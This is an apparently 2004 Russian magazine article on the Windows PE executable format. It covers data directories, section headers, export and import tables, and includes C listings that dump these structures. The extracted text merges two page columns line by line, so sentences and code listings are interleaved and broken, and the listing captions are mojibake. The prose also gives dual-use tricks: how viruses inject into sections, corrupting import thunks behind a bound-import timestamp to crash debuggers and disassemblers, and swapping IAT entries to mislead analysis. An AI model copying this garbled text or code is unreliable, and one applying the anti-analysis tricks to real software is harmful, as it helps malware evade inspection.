Указатель на таблицу ресурсов, хранящую строки, пиктог- Указатель на таблицу регистров глобальных указателей.
раммы, курсоры, диалоги и прочие кирпичики пользова- Используется только на процессорах ALPHA и PowerPC.
тельского интерфейса (хотя какие это кирпичики? насто- На I386-платформе это поле лишено смысла, и загрузчик
ящие бетонные блоки!). Таблица ресурсов организована его игнорирует.
в виде трехуровневого двоичного дерева, слишком запу-
танного и разлапистого, чтобы его было можно привести 09h IMAGE_DIRECTORY_ENTRY_TLS:
здесь, но, к счастью, использующего только RVA-адреса- Хранилище статической локальной памяти потока (Thread
цию, т.е. нечувствительного к смещению «своей» секции Local Storage). TLS-механизм обеспечивает «прозрачную»
(а это как правило секция .rsrc) внутри файла. Однако, работу с глобальными переменными в многопоточных сре-
если вы вздумаете править RVA (например, для внедре- дах без риска, что переменная в самый неподходящий мо-
ния новой секции в середину страничного имиджа или мент будет модифицирована другим потоком. Сюда попа-
переносу image base), вам придется основательно потру- дают переменные, объявленные как __declspec(thread). По
диться с этой структурой, подробное описание которой, причине большой причудливости и крайней тяжеловесно-
кстати говоря, можно найти в уже упомянутой статье «The сти реализации (один шаг в сторону и операционная сис-
Portable Executable File Format from Top to Bottom». тема стреляет без предупреждения) используется крайне
редко. К тому же Windows NT и Windows 9x обрабатыва-
03h IMAGE_DIRECTORY_ENTRY_EXCEPTION: ют это поле сильно неодинаково. Хранилище обычно раз-
Указывает на exception directory (директорию исключений), мещается в секции .tls, хотя это и необязательно. Исполь-
обычно размещаемую в секции .pdata (хотя это и необя- зует RVA- и VA-адреса.
зательно). Используется только на следующих архитекту-
рах: MIPS, Alpha32/64, ARM, PowerPC, SH3, SH, WindowsCE. 10h IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG:
К микропроцессорам семейства Intel это не относится и Содержит информацию о конфигурации глобальных фла-
IX386-загрузчик игнорирует это поле, поэтому оно может гов, необходимых для нормальной работы программы, име-
принимать любое значение. ет смысл только в Windows NT и производных от нее систе-
мах. Это поле практически никем не используется, но если
04h IMAGE_DIRECTORY_ENTRY_SECURITY: возникнет желание узнать о нем больше – см. прототип струк-
Указывает на Certificate Table (таблицу сертификатов), рас- туры IMAGE_LOAD_CONFIG_DIRECTORY32 в WINNT.h, а
полагающуюся строго в .debug-секции и адресуемой не также ее описание в Platform SDK. За описанием самих
по RVA-адресам, а по физическим смещениям внутри фай- флагов обращайтесь к утилите gflags.exe, входящей в со-
ла (так происходит потому, что таблица сертификатов не став Resource Kit и NTDDK. Информация о конфигурации
грузится в память и обитает исключительно на диске). Если использует VA-адресацию (точнее, пока еще не использу-
IMAGE_DIRECTORY_ENTRY_SECURITY != 0, ни в коем ет, но резервирует эту возможность на будущее).
случае не пытайтесь внедрять в файл посторонний код,
иначе он откажет в работе. 11h IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT:
Указатель на таблицу диапазонного импорта, имеющую
05h IMAGE_DIRECTORY_ENTRY_BASERELOC: приоритет над IMAGE_DIRECTORY_ENTRY_IMPORT и
Он же fixup, использует RVA-адреса (см. «Перемещаемые обрабатываемую загрузчиком в первую очередь (зачас-
элементы»). тую, до IMAGE_DIRECTORY_ENTRY_IMPORT дело вооб-
ще не доходит). По устоявшейся традиции таблица диа-
06h IMAGE_DIRECTORY_ENTRY_DEBUG: пазонного импорта размещается в PE-заголовке, хотя это
Отладочная информация, используемая дизассемблера- и необязательно, и некоторые линкеры ведут себя иначе.

№6(19), июнь 2004 63


программирование
Используется RVA- и RRAW OFFSET-адресация (подроб- телем на имя!). Если длина имени меньше восьми байт,
нее см. «Импорт»). остающийся хвост дополняется нулями, если же имя за-
нимает весь массив целиком, завершающий нуль в его
12h IMAGE_DIRECTORY_ENTRY_IAT: конце не ставится (некоторые дизассемблеры не учиты-
Указатель на IAT (подчиненная структура таблицы импор- вают этого обстоятельства и захватывают примыкающий
та). Используется загрузчиком Windows XP, остальные к массиву мусор).
операционные системы это поле, по-видимому, игнориру- Само по себе имя секции не несет никакого метафи-
ют (подробнее см. «Импорт»). зического смысла и было введено в эксплуатацию исклю-
чительно из эстетических соображений. Системный заг-
13h IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT: рузчик его игнорирует, хотя некоторые вирусы/протекто-
Указатель на таблицу отложенного импорта, использую- ры/упаковщики распознают «свои» секции только так, и
щую RVA/VA-адресацию, но фактически остающуюся не всякое искажение имени валит их наповал. Ходят слухи
стандартизированной и отданной на откуп воле конкрет- по поводу того, что библиотека oleaut32.dll, входящая в
ных реализаторов (подробнее см. «Импорт»). состав Windows, опознает секцию ресурсов по ее имени,
а не по записи в DATA_DIRECTORY. В исходных текстах
14h IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR: популярного упаковщика UPX присутствует следующий
Если не равно нулю, то файл представляет собой .NET-при- комментарий: «…after some windoze debugging I found that
ложение, состоящее из байт-кода, поэтому попытка вне- the name of the sections DOES matter .rsrc is used by
дрения в него x86 никогда ничего хорошего не принесет. oleaut32.dll (TYPELIBS) and because of this lame dll, the
resource stuff must be the first in the 3rd section – the author
Таблица секций of this dll seems to be too idiot to use the data directories...
Четкого определения термина «секция» не существует. ...even worse: exploder.exe in NiceTry also depends on this to
Упрощенно говоря, секция – это непрерывная область locate version info». Дизассемблирование подтверждает,
памяти внутри страничного имиджа со своими атрибута- что библиотека oleaut32.dll действительно содержит внут-
ми, независящими от атрибутов остальных секций. Пред- ри себя текстовую строку «.rsrc» и активно ее использует.
ставление секции в памяти не обязательно должно совпа- Да мало ли на свете идиотов, привязывающихся к имени
дать с ее дисковым образом, который в принципе может секций? Поэтому без особой нужды имена секций чужого
вообще отсутствовать (секциям неинициализированных файла лучше не изменять.
данных нечего делать на диске, и потому они представле- Поля VirtualAddress и PointerToRawData содержат RVA-
ны исключительно в памяти). адрес начала секции в памяти и ее смещение относитель-
Каждая секция управляется «своей» записью в одно- но начала файла соответственно. Виртуальный и физичес-
именной структуре данных, носящей имя «таблицы сек- кий адреса должны быть выровнены на величину Section
ций». Таблица секций начинается сразу же за концом оп- Alignment/File Alignment, прописанную в опциональном за-
ционального заголовка, размер которого содержится в головке, причем виртуальный адрес первой секции должен
поле SizeOfOptionalHeader, и представляет собой массив быть равен ALIGN_UP(SizeOfHeaders, Section Alignment), в
структур IMAGE_SECTION_HEADER, количество задает- противном случае файл не загрузится. Физический адрес
ся полем NumberOfSection. секции может быть любым, достаточно только, чтобы он
Порядок секций может быть любым, но системный заг- был выровнен на величину File Alignment.
рузчик оптимизирован под следующую последователь- Поля VirtualSize и SizeOfRawData содержат виртуальную
ность: сначала идет кодовая секция, за ней следует одна и физическую длину секции соответственно. Вот тут-то и
или несколько секций инициализированных данных и за- начинается самое интересное! Если виртуальный размер
мыкает строку секция неинициализированных данных. больше физического, то при загрузке секции в память ее
Структура IMAGE_SECTION_HEADER состоит из сле- хвост заполняется нулями, при этом наличие атрибута ини-
дующих полей: циализированных/неинициализированных данных совер-
шенно необязательно. Если физический размер больше
Ëèñòèíã 5. Ïðîòîòèï ñòðóêòóðû IMAGE_SECTION_HEADER виртуального, то… единственное, что можно сказать с уве-
typedef struct _IMAGE_SECTION_HEADER { ренностью, такой файл будет нормально загружен в память.
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; Как? А вот это уже зависит от реализации! Начнем с того,
union {
DWORD PhysicalAddress; что нулевой виртуальный размер предписывает загрузчи-
DWORD VirtualSize; ку отталкиваться от физического размера секции, предва-
} Misc;
DWORD VirtualAddress; рительно округлив его на величину Section Alignment и за-
DWORD SizeOfRawData; полнив хвост нулями. Все промежуточные состояния нео-
DWORD PointerToRawData;
DWORD PointerToRelocations; пределенны – загрузчик может считать:
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
! ровно Virtual Size байт;
WORD NumberOfLinenumbers; ! ALIGN_UP(Virtual Size, File Alignment) байт;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
! ALIGN_UP(Virtual Size, Phys Sector Size) байт.
Поле Name представляет собой 8-байтовый массив с Вообще-то все пункты, кроме первого, – грубые ошиб-
ASCII-именем секции внутри (именно именем, а не указа- ки реализации, но и… суровая реальность бытия вместе

64
программирование
с тем, поэтому таких ситуаций лучше всего избегать. Фи- MEM_DISCARDABLE/2000000h (после загрузки файла
зический размер должен быть выровнен на величину File секция может быть уничтожена в памяти) и IMAGE_SCN_
Alignment, выравнивать виртуальный размер необяза- MEM_SHARED/10000000h (секция является совместно
тельно (загрузчик выравнивает его автоматически). Од- используемой).
нако и это правило не обходится без исключений: если Атрибут IMAGE_SCN_MEM_DISCARDABLE обычно при-
физический размер меньше или равен виртуальному, то сваивается секциям, содержащим вспомогательные струк-
и его выравнивать необязательно, правда, смысла в этом туры данных, такие как, например, таблица перемещае-
немного, поскольку начало следующей секции в файле мых элементов, необходимые лишь на этапе загрузки
в любом случае должно быть выровнено на величину файла и впоследствии никем не используемые. А раз так –
File Align. зачем они будут жрать память? Фатальная ошибка подав-
Виртуальный адрес следующей секции обязательно ляющего большинства вирусов состоит в том, что, вне-
должен быть равен виртуальному адресу предыдущей сек- дрясь в последнею секцию файла (коей как раз
ции плюс ее размер, выровненный на величину Section DISCARDABLE-секция обычно и оказывается), они не про-
Alignment. Секции не могут ни перекрываться, ни образо- веряют ее атрибутов, не «выкупают» права на память.
вывать виртуальные дыры. На физические адреса секций Операционная система в любой момент может выгрузить
таких ограничений не наложено, и они могут быть раз- оккупированные ими страницы и тогда инфицированный
бросаны по файлу в живописном беспорядке. Впрочем, процесс рухнет, выдавая хорошо известное всем сообще-
увлекаться разбрасыванием право же не стоит – не ро- ние о критической ошибке приложения.
вен час системный загрузчик запутается и откажет фай- Атрибут IMAGE_SCN_MEM_SHARED намного менее бе-
лу в загрузке, если еще не выпадет в синий экран. зобиден, но тоже с характером, и помещать сюда ис-
Кстати, насчет синих экранов. Напомним читателю, что полняемый код категорически не рекомендуется. Во-
если Section Alignment < 1000h, а физический размер сек- первых, в любой момент он может быть затерт посто-
ции вылетает за пределы файла, W2K SP3 (и, вероятно, ронним процессом, и тогда зараженное приложение
все остальные представители линейки NT) выбрасывает опять-таки рухнет, а во-вторых, Windows 9x насильно
синий экран, и системе наступает конец. перегоняет SHARED-секции в верхнюю половину адрес-
Поле Characteristics определяет атрибуты доступа к ного пространства и действительный адрес загрузки
секции и особенности ее загрузки. Имеется три атрибута, уже не будет соответствовать виртуальному адресу сек-
как будто бы определяющих содержимое секции как код, ции (правда, полностью перемещаемый код в таких ус-
инициализированные и неинициализированные данные ловиях вполне сможет работать).
(IMAGE_SCN_CNT_CODE/20h, IMAGE_SCN_CNT_INITIALIZED_ Остальные атрибуты либо неинтересны, либо имеют от-
DATA/40h, IMAGE_SCN_CNT_UNINITIALIZED_DATA/80h со- ношение только к объективным coff-файлам (не PE) и по-
ответственно). Однако системный загрузчик игнорирует тому здесь не рассматриваются. Это, в частности, относит-
их значение, и потому опираться на них ни в коем случае ся к атрибутам из семейства IMAGE_SCN_ALIGN_хBYTES,
нельзя. Теоретически секция неинициализированных дан- индивидуально настраивающим кратность выравнивания
ных при отсутствии прочих атрибутов не должна грузить- каждой секции. Для объективных файлов это, быть может,
ся с диска, но… ведь грузится! и так, но системный загрузчик эти атрибуты игнорирует.
Некоторые вирусы/упаковщики/протекторы определя- Поля PointerToRelocations/NumberOfRelocations (ука-
ют кодовую секцию по наличию атрибута IMAGE_SCN_ затель на таблицу перемещаемых элементов и количе-
CNT_CODE. Что ж! Не такое уж и плохое решение, только ство элементов в этой таблице соответственно) имеют
будьте готовы к тому, что этого атрибута не окажется ни у отношение только к объективным файлам, а исполняе-
одной из секций (что встречается достаточно часто) либо мые файлы и динамические библиотеки управляют сво-
же он будет присвоен секции данных (что встречается ими перемещаемыми элементами через одноименную
пореже, но все-таки встречается). запись в DATA_DIRECTORY, поэтому эти поля могут со-
Другая триада атрибутов описывает права доступа ко держать любые значения. Некоторые вирусы/упаковщи-
всем страницам секции, назначаемым системным загруз- ки/проекторы помечают таким образом свои файлы, что-
чиком по умолчанию (будучи загруженным, файл может бы их не обрабатывать дважды. Способ глупый и нена-
свободно манипулировать ими, вызывая API-функцию дежный (задумайтесь: что произойдет с файлом после
VirtualProtectEx). В настоящее время определено три атри- его упаковки любым посторонним упаковщиком?).
бута: исполнения, чтения и записи (IMAGE_SCN_MEM_ Поля PointerToLinenumbers/NumberOfLinenumbers (ука-
EXECUTE/20000000h, IMAGE_SCN_MEM_READ/40000000h, затели на таблицу номеров строк и количество элемен-
IMAGE_SCN_MEM_WRITE/80000000h). На платформе Intel тов в этой таблице соответственно) ранее использовались
атрибуты чтения/исполнения полностью эквивалентны и со- для хранения отладочной информации, связывающей но-
ответствуют аппаратному атрибуту доступности (accessible) мера строк исходной программы с адресами откомпили-
страницы. Атрибут записи обрабатывается вполне есте- рованного файла. В настоящее время используется толь-
ственным образом. Следовательно, отличить секцию кода ко в объективных файлах, а в исполняемых файлах отла-
от секции данных в общем случае невозможно и приходит- дочная информация хранится совсем в другом месте и в
ся действовать исподтишка, объявляя секцией кода ту, в другом формате.
которую указывает точка входа. Ниже приведен код, сканирующий таблицу секций и
Два других интересных атрибута это – IMAGE_SCN_ выводящий извлеченную информацию на терминал.

№6(19), июнь 2004 65


программирование
Ëèñòèíã 6. Ìàêðîñû, âîçâðàùàþùèå óêàçàòåëè íà IMAGE_SECTION_HEADER Ëèñòèíã 8. Ýêñïîðò ïî èìåíàì
ïåðâîé è ïîñëåäíåé ñåêöèè ôàéëà
i = Search_ExportNamePointerTable (ExportName);
#define xopt_sz(p) ↵ ordinal = ExportOrdinalTable [i];
(*((WORD*)(p + 0x14 /* size of optional header */))) SymbolRVA = ExportAddressTable [ordinal - OrdinalBase];
#define pSectionTable(p) ↵
((BYTE*) (xopt_sz(p) + 0x18 /*sizeofimageheafer*/ + p)) Если нам известен ординал функции, то обращаться к
#define pFirstSection(p) (pSectionTable(p)) таблицам имен/ординалов необязательно. Определенная
#define pLastSection(p) ↵
(pSectionTable(p) + (xNumOfSec(p) - 1) * 40) путаница связана с тем, что ординал задает отнюдь не
Ëèñòèíã 7. Ïðîãóëêà ïî òàáëèöå ñåêöèé ñ âûâîäîì åå ñîäåðæèìîãî индекс в таблице оридиналов, а индекс в таблице адре-
íà òåðìèíàë сов. Таблица ординалов представляет собой вспомога-
a = xNumOfSec(p); pNextSection = pFirstSection(p); тельную подструктуру, не имеющую самостоятельной цен-
while(a--) ности и всегда использующуюся только в паре с таблицей
{ имен. Поэтому таблицы имен и ординалов всегда содер-
printf("Name: %s\n"\
"\tVirtualSize : %04Xh RVA\n"\ жат одинаковое количество элементов, задаваемое полем
"\tVirtualAddress : %04Xh RVA\n"\ Number of Name Pointers, которое может и не совпадать с
"\tSizeOfRawData : %04Xh RVA\n"\
"\tPointerToRawData : %04Xh RVA\n"\ количеством элементов таблицы адресов, задаваемое
"\tPointerToRelocations : %04Xh RVA\n"\ полем Export Address Table RVA.
"\tPointerToLinenumbers : %04Xh RVA\n"\
"\tNumberOfRelocations : %04Xh RVA\n"\ Теперь о тонкостях. Таблица адресов может содержать
"\tNumberOfLinenumbers : %04Xh RVA\n\n", «разрывы», т.е. элементы, обращенные в нуль и указыва-
pNextSection, pNextSection[0x8], ↵
pNextSection[0xC], ющие в никуда. К счастью, их легко отсеять. Хуже, что
pNextSection[0x10], pNextSection[0x14], ↵ далеко не всякий элемент таблицы адресов представляет
pNextSection[0x18],
pNextSection[0x1C], pNextSection[0x20], ↵ собой действительный адрес экспортируемой функции,
pNextSection[0x14]); ведь динамические библиотеки поддерживают форвар-
pNextSection+=40; // ñëåäóþùèé ýëåìåíò Section Table динг (forwarding), т.е. сквозное перенаправление экспор-
} та в другую DLL, и тогда соответствующий элемент таб-
лицы адресов содержит RVA-адрес ASCIIZ-строки типа
Экспорт «NTDLL.RtlDeleteCriticalSection», описывающей переназ-
Таблица экспорта представляет собой сложную иерархи- начение. Как отличить forward-строки от действительных
ческую структуру, каждый из компонентов которой может адресов экспортируемых функций? Да очень просто,
быть расположен в любом месте страничного имиджа, хотя forward-строки всегда расположены внутри таблицы экс-
по спецификации она должна быть сосредоточена в од- порта (именно поэтому спецификация настоятельно ре-
ной области. Когда-то таблице экспорта выделялась своя комендует делать ее непрерывной, никаких других при-
персональная секция .edata, но теперь этого правила прак- чин для этого у системного загрузчика нет). Размер таб-
тически никто не придерживается, поэтому говорить о лицы экспорта содержится в DATA_DIRECTORY там же,
секции импорта не совсем корректно (впрочем, если вы где находится адрес export directory table, и разоблачение
назовете директорию секцией, большой беды не будет и forward-строк осуществляется тривиально.
все вас поймут). Приведенный ниже демонстрационный пример ска-
На вершине иерархии находится структура IMAGE_ нирует всю таблицу экспорта, отображая ее на экране в
EXPORT_DIRECTORY, также известная под именем export удобно читаемом виде. Обратите внимание, что обработ-
directory table, содержащая указатели на три подчинен- ка ordinal BASE несколько изменена на идеологически
ные структуры: таблицу экспортируемых имен (Name более правильную:
Pointer), таблицу экспортируемых ординалов (Ordinal Table)
и таблицу экспортируемых адресов (Export Address Table). Ëèñòèíã 9. Ïðîñòåéøèé ðàçáîð òàáëèöû ýêñïîðòà
Поле Name RVA указывает на строку с именем динами- // ïîëó÷àåì óêàçàòåëü íà PE
ческой библиотеки, которое, судя по всему, игнорируется p = *(DWORD*)(pBaseAddress + 0x3C /*e_lfanew */) + pBaseAddress;
и может принимать любые значения. // ïîëó÷àåì óêàçàòåëü íà DATA_DIRECTORY
Экспорт функций/данных может производиться как по pDATA_DIRECTORY = (DWORD*)(p + 0x78);
их имени, так и по ординалу. Таблицы имен и адресов // ïîëó÷àåì óêàçàòåëü íà ýêñïîðò
представляют собой массивы из RVA-указателей, ссыла- pExport = pDATA_DIRECTORY[0] + pBaseAddress;
// áåðåì ðàçìåð, íî íå ïðîâåðÿåì
ющихся на ASCIIZ-строки с именами функций и адреса xExport = pDATA_DIRECTORY[1];
экспортируемых функций/данных соответственно. Табли-
// èçâëåêàåì ñâåäåíèÿ îá îñíîâíûõ ñòðóêòóðàõ
ца ординалов представляет собой массив 16-битных ин- nameRVA = *(DWORD*) (pExport + 0xC) + pBaseAddress;
дексов (ординалов) и служит своеобразным связующим ordinalBASE = *(DWORD*) (pExport + 0x10);
addressTableEntries = *(DWORD*) (pExport + 0x14);
звеном между таблицей имен и таблицей адресов. Пусть numberOfNamePointers = *(DWORD*) (pExport + 0x18);
i-элемент таблицы имен указывает ASCIIZ-строку с име- exportAddressTableRVA = (DWORD*) (*(DWORD*) (pExport + ↵
0x1C) + pBaseAddress);
нем интересующей нас функции «my_func», тогда i-эле- namePointerRVA = (DWORD*) (*(DWORD*) (pExport + ↵
мент таблицы ординалов содержит индекс элемента таб- 0x20) + pBaseAddress);
ordinalTableRVA = (WORD* ) (*(DWORD*) (pExport + 0x24) + ↵
лицы адресов с RVA-адресом функции my_func или, гово- pBaseAddress);
ря другими словами, ее ordinal.
// ðàñïå÷àòûâàåì âñå èìåíà/îðäèíàëû/àäðåñà
В переводе на язык Си это выглядит так: printf( "name ordinal/hint VirtualAddress Forward\n"\

66
программирование
"------------------------------------------\n"); Приоритет различных механизмов импорта не опре-
for (a = 0; a < _MAX(addressTableEntries, ↵
делен и загрузчик вправе использовать любой доступный,
numberOfNamePointers); a++) переходя к другому только в случае неудачи. Эксперимент
{ показывает, что Windows 9x/NT сначала используют bound
// äâà âèäà îáðàáîòêè - ïî èìåíàì è ïî îðäèíàëàì
if (a < numberOfNamePointers) import, и только если штамп времени/предпочтительный
{ адрес загрузки импортируемой библиотеки не совпал с
// âûäåëåíèå èíäåêñà ôóíêöèé, ýêñïîðòèðóåìûõ ïî èìåíàì
name = namePointerRVA[a] + pBaseAddress; ↵ ожидаемым, пытается импортировать функции обычным
f_index = ordinalTableRVA[a]; путем. Windows XP поступает иначе и после неудачи с
}
else bound import, пытается импортировать функции непосред-
{ ственно по таблице адресов, указатель на которую содер-
// âûäåëåíèå èíäåêñà ôóíêöèé, ýêñïîðòèðóåìûõ òîëüêî
// ïî îðäèíàëàì жится в поле IMAGE_DIRECTORY_ENTRY_IAT. Штатно
name = "n/a"; f_index = a; таблица адресов содержит копию таблицы имен, и пото-
}
му обращаться к последней нет никакой необходимости.
// îïðåäåëåíèå àäðåñà ôóíêöèè Если же это не так, загрузчик вынужден импортировать-
f_address = (DWORD)(exportAddressTableRVA[f_index] + ↵
pBaseAddress); ся обычным путем.
// ïîèñê "ðàçðûâîâ" â òàáëèöå àäðåñîâ
Стандартная таблица импорта представляет собой
if (f_address == pBaseAddress) continue; сложную иерархическую структуру, каждый из элементов
// îïðåäåëåíèå îðèäèíàëà
которой может быть расположен в любом месте странич-
ordinal = f_index + ordinalBASE; ного имиджа.
// ïîèñê ôîðâàðäîâ (åñëè åñòü)
На вершине иерархии находится структура Import
if ((f_address > (DWORD) pExport) && (f_address < ↵ Directory Table, представляющая собой массив структур
(DWORD) (pExport + xExport))) IMAGE_IMPORT_DESCRIPTOR, завершаемых нулевым
pForward = (BYTE*)f_address; else pForward = 0;
элементом. Каждый IMAGE_IMPORT_DESCRIPTOR содер-
// âûâîä ðåçóëüòàòîâ íà òåðìèíàë жит ссылки на две подчиненные структуры – lookup-таб-
printf("%-30s [%03d/%03d] %08Xh %s\n",
name, ordinal, a, f_address, ↵ лицу, содержащую имена и/или ординалы импортируемых
(pForward)?pForward:""); функций, и таблицу импортируемых адресов, также изве-
} printf("==============================================\n"); стную как Thunk Table и содержащую RVA-адреса ячеек
страничного имиджа, поверх которых загрузчик должен
записать эффективные адреса соответствующих им фун-
Импорт кций. Пусть необходимая нам функция my_func находит-
Если с экспортом все более или менее понятно, то импорт – ся в i-элементе lookup-таблицы, тогда i-индекс таблицы
это какой-то кошмар. Это целых три различных механиз- импортируемых адресов содержит RVA-указатель на ячей-
ма, один страшнее другого, управляемые четырьмя запи- ку, куда загрузчику следует записать ее адрес.
сями в DATA_DIRECTORY.
Стандартный механизм импорта работает приблизитель- Ëèñòèíã 10. Ïðîòîòèï ñòðóêòóðû IMAGE_IMPORT_DESCRIPTOR
но так: специальная таблица (называемая таблицей импор- typedef struct _IMAGE_IMPORT_DESCRIPTOR {
та) перечисляет имена/ординалы всех импортируемых фун- union {
// 0 for terminating null import descriptor
кций, указывая, в какое место страничного имиджа загруз- DWORD Characteristics;
чик должен записать эффективный адрес каждой из них. // RVA to original unbound IAT
DWORD OriginalFirstThunk;
Грубо говоря, на каждую импортируемую функцию прихо- };
дится один вызов GetProcAddress, фактически сводящийся // 0 if not bound, -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new)
к поэлементному перебору всей таблицы экспорта. // O.W. date/time stamp of DLL bound to (old)
Более производителен механизм диапазонного импор- // -1 if no forwarders
DWORD TimeDateStamp;
та (bound import), сводящийся к тривиальному проециро- DWORD ForwarderChain;
ванию необходимых библиотек на адресное пространство DWORD Name;
DWORD FirstThunk; // RVA to IAT
процесса, с жесткой прошивкой экспортируемых адресов } IMAGE_IMPORT_DESCRIPTOR;
еще на стадии компиляции приложения. Это быстро, но
не универсально. Перекомпиляция DLL требует обязатель- Имя загружаемой DLL содержится в поле Name струк-
ной перекомпиляции приложения, поскольку по старым туры IMAGE_IMPORT_DESCRIPTOR, представляющим со-
адресам теперь ничего хорошего уже нет. бой RVA-указатель на ASCIIZ-строку.
Между двумя этими крайностями окопался механизм Остальные поля не так интересы. Если временная от-
отложенного импорта (delay import), реализованный с боль- метка TimeDateStamp равна нулю (как чаще всего и бы-
шим количеством ошибок, поддерживаемых далеко не вает), то системный загрузчик обрабатывает таблицу им-
всеми компоновщиками, но все-таки работающий. В об- порта по всем правилам. Если же она равна минус одно-
щих чертах основная идея заключается в перенаправле- му (FFFFFFFFh), загрузчик игнорирует указатели
нии элементов таблицы импорта на специальный обра- OriginalFirstThunk и FirstThunk, полагая, что данная биб-
ботчик, динамически загружающий соответствующие лиотека импортируется через BOUND_IMPORT и только
функции по мере возникновения в них необходимости и лишь когда BOUND_IMPORT провалится (например, из-
подставляющий их адреса в таблицу импорта. за несовпадения TimeDateStamp), возвращается к IAT.

№6(19), июнь 2004 67


программирование
На этом основан один любопытный пример противо- // è address òàáëèö
стояния отладчикам и дизассемблерам – сбрасываем Time if (importLookupTable) lookup = *importLookupTable++;
if (importAddressTable) address = *importAddressTable++;
DateStamp в FFFFFFFFh, добавляем в BOUND_IMPORT if (!address) break; // ýòî êîíåö?
импорт библиотеки, указанной в Name, ставим в BOUND_ if (importLookupTable)
IMPORT TimeDateStamp в ноль, чтобы гарантированно {
загрузить ее (конечно, значения экспортируемых адресов // ôóíêöèÿ ýêñïîðòèðóåòñÿ ïî îðäèíàëó
if (lookup & 0x80000000)
в различных версиях DLL могут и не совпадать, но глав- {
ное, что библиотека спроецирована на адресное простран- sprintf(buf,"#%d",lookup & ↵
~0x80000000);name=buf;hint=0;
ство процесса, а разгрести экспорт можно и руками). Те- }
перь искажаем указатели OriginalFirstThunk и FirstThunk, else // ôóíêöèÿ ýêñïîðòèðóåòñÿ ïî èìåíè
{
придавая им заведомо некорректное значение. Системный name=(lookup+pBaseAddress+2);
загрузчик, обнаружив, что TimeDateStamp == -1, просто про- hint=*((WORD*)(lookup+pBaseAddress));
}
игнорирует их, обработает такой файл вполне нормально. } printf("[%04d] %-30s:%08Xh\n",hint, name, address);
Дизассемблеры/отладчики – иное дело. О BOUND_IMPORT }printf("===============================================\n\n");
}
подавляющее большинство из них ничего не знает и, чес-
тно ринувшись в IAT, они в лучшем случае сообщат, что // ïðîãóëèâàåìñÿ ïî òàáëèöå èìïîðòà, âûâîäÿ åå âñþ
n2k_walk_idex(BYTE* pImport, BYTE* pBaseAddress)
таблица импорта искажена, а в худшем – поедут крышей {
и аварийно завершат свою работу. Старые версии BLS и int a;
BYTE *nameRVA;
hiew на этом ломались только так. Новые – нет, поэтому DWORD *importLookupTable;
этот трюк уже утратил свою былую актуальность. DWORD *importAddressTable;
Любое другое значение TimeDateStamp обозначает // ïåðåáèðàåì âñå òàáëèöû äåñêðïèòîðîâ ñêîëüêî èõ åñòü òàì...
действительную временную метку, и, если она совпадает while(1)
{
с временной меткой импортируемой DLL, загрузчик про- // èçâëåêàåì îñíîâíûå ïàðàìåòðû
сто проецирует ее на адресное пространство процесса, nameRVA =*(DWORD*)(pImport + 0x0C) + pBaseAddress;
importLookupTable =(DWORD*)(*(DWORD*)(pImport+0x00)+ ↵
не настраивая таблицу адресов. Предполагается, что эф- pBaseAddress);
фективные адреса заданы еще на времени компиляции. importAddressTable =(DWORD*)(*(DWORD*)(pImport+0x10)+ ↵
pBaseAddress);
На этом основан другой хитрый трюк (все еще актуаль-
ный). Подменив один или несколько элементов таблицы //printf("%s %x %x\n",nameRVA,importLookupTable, ↵
pBaseAddress);
адресов адресом другой функции, мы введем дизассемб-
лер в глубокое заблуждение (ведь он игнорирует таблицу // ïåðåõîäèì íà ñëåäóþùèé äåñêðèïòîð
pImport += 0x14 /* size of _IMAGE_IMPORT_DESCRIPTOR */;
адресов и предпочитает разбирать весь импорт самосто-
ятельно). // ýòî êîíåö?
if ((BYTE*)importLookupTable == pBaseAddress) break;
ForwarderChain – очень странное поле, вроде бы име-
ющее отношение к форвардингу функций. По одним дан- // ïå÷àòàåì èìÿ DLL
printf("%s:\n",nameRVA);
ным индекс в цепочке форварда, по другим – RVA-указа- for(a=0;a<strlen(nameRVA);a++) printf("-"); ↵
тель на массив IMAGE_IMPORT_BY_NAME. Обычно рав- printf("\n");
но нулю (нет здесь никакого форварда), так что навряд ли // ïå÷àòàåì èìïîðòèðóåìûå ôóíêöèè
это указатель, скорее уж адрес. Хотя спецификация и ут- n2k_print_IAT(importLookupTable, ↵
importAddressTable, pBaseAddress);
верждает, что за отсутствием форварда закреплено зна- }
чение FFFFFFFFh, линкеры, похоже, придерживаются со- }
вершенно иного мнения. Что же до системного загрузчи-
ка, то это поле он попросту игнорирует, и здесь может быть IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT:
все, что угодно. То же самое относится и к отладчикам/ BOUND_IMPORT до ужаса незамысловат и прост. С ним
дизассемблерам. связан всего один массив структур IMAGE_BOUND_
Пример практической работы с таблицей импорта при- IMPORT_DESCRIPTOR, состоящий из трех полей: времен-
веден ниже: ной отметки; смещения имени DLL, отсчитываемые от на-
чала таблицы BOUND_IMPORT и количество форвардов,
Ëèñòèíã 11. Äàìïåð òàáëèöû èìïîðòà точное назначение которых неясно.
// ÏÅ×ÀÒÀÅÌ ÒÀÁËÈÖÓ ÈÌÏÎÐÒÀ Если временная отметка импортируемой библиотеки
n2k_print_IAT(DWORD* importLookupTable, ↵ соответствует ее собственной временной отметке, пропи-
DWORD* importAddressTable, BYTE* pBaseAddress)
{ санной в PE-заголовке, загрузчик просто проецирует пос-
леднюю на адресное пространство и умывает руки, пре-
DWORD lookup, hint, address;
BYTE *name; char buf[MAX_BUF_SIZE]; доставляя программе действовать самостоятельно.
name = "not pressent"; lookup = address = hint = 0; Захочет – будет разбирать таблицу экспорта импортиру-
printf( " hint name/ordinal address\n"\ емой библиотеки вручную, захочет – жестко пропишет
"--------------------------------------------\n"); экспортируемые адреса еще на этапе компиляции, как
while(1) // ñêàíèðóåì òàáëèöó èìïîðòà, ïîêà íå âñòðåòèì íóëü обычно и происходит.
{ Нулевое значение временной отметки соответствует
// èçâëåêàåì î÷åðåäíûå ýëåìåíòû èç loockup любому времени, и обращаться с ним следует предельно

68
программирование
осторожно, ибо при перекомпиляции библиотеки жестко внедряемого в программу линкером и варьирующегося от
прописанные адреса будут указывать в космос и програм- реализации к реализации). В изначально пустое поле
ма повиснет. phmod загрузчик (все тот же Delay Helper) помещает дес-
криптор динамически загружаемой DLL.
